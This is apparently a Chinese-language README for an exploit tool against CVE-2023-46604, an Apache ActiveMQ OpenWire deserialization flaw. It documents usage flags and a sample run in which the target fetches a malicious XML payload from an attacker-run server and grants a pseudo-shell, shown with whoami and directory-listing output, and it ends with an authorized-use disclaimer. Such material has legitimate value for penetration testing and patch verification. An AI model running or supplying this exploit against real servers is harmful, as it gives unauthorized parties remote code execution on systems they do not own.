该脚本利用 CVE-2023-46604(Apache ActiveMQ)生成一个伪终端。该漏洞源于 OpenWire 协议中的不安全反序列化,可实现远程代码执行。
CVE-2023-46604 是 Apache ActiveMQ 的 OpenWire 协议中存在的一个反序列化漏洞。攻击者可利用该缺陷在运行 ActiveMQ 的服务器上执行任意代码。攻击者可以构造一个恶意 XML 文件,远程服务器将执行其中的命令。
此漏洞利用工具自动化并简化了 XML 文档的创建过程,提供基础服务器来传输文件,并通过 POST 接收目标服务器返回的信息。这使得攻击者无需启用反向 Shell 或部署二进制文件即可持续进行利用。
在运行利用脚本之前,请确保满足以下条件:
脚本需要提供:
可选参数:
usage: exploit.py [-h] -i IP [-p PORT] -si SRVIP [-sp SRVPORT]
optional arguments:
-h, --help show this help message and exit
-i IP, --ip IP ActiveMQ Server IP or Hostname
-p PORT, --port PORT ActiveMQ Server Port, defaults to 61616
-si SRVIP, --srvip SRVIP
Serve IP
-sp SRVPORT, --srvport SRVPORT
Serve port, defaults to 8080
$python3 exploit.py -i 10.129.230.87 -p 61616 -si 10.10.14.59 -sp 8080
#################################################################################
# CVE-2023-46604 - Apache ActiveMQ - Remote Code Execution - Pseudo Shell #
# Exploit by Ducksec, Original POC by X1r0z, Python POC by evkl1d #
#################################################################################
[*] Target: 10.129.230.87:61616
[*] Serving XML at: http://10.10.14.59:8080/poc.xml
[!] This is a semi-interactive pseudo-shell, you cannot cd, but you can ls-lah / for example.
[*] Type 'exit' to quit
#################################################################################
# Not yet connected, send a command to test connection to host. #
# Prompt will change to Apache ActiveMQ$ once at least one response is received #
# Please note this is a one-off connection check, re-run the script if you #
# want to re-check the connection. #
#################################################################################
[Target not responding!]$ whoami
activemq
Apache ActiveMQ$ ls -lah
total 164K
drwxr-xr-x 5 activemq activemq 4.0K Nov 7 12:50 .
drwxr-xr-x 11 activemq activemq 4.0K Nov 6 01:18 ..
-rwxr-xr-x 1 activemq activemq 21K Apr 20 2021 activemq
-rwxr-xr-x 1 activemq activemq 6.1K Apr 20 2021 activemq-diag
-rw-r--r-- 1 activemq activemq 17K Apr 20 2021 activemq.jar
-rw-r--r-- 1 activemq activemq 5.5K Apr 20 2021 env
drwxr-xr-x 2 activemq activemq 4.0K Nov 5 00:13 linux-x86-32
drwxr-xr-x 2 activemq activemq 4.0K Nov 5 00:13 linux-x86-64
drwxr-xr-x 2 activemq activemq 4.0K Nov 5 00:13 macosx
-rw-r--r-- 1 activemq activemq 82K Apr 20 2021 wrapper.jar
Apache ActiveMQ$
本代码仅供教育和道德安全测试之用。请仅在获得明确授权的环境中负责任地使用。未经授权或恶意使用被严格禁止。使用本代码即表示您同意遵守您所在司法管辖区所有适用的法律、法规和道德标准。创建者和贡献者不对因误用或未经授权使用本代码而造成的任何损害或后果承担任何责任。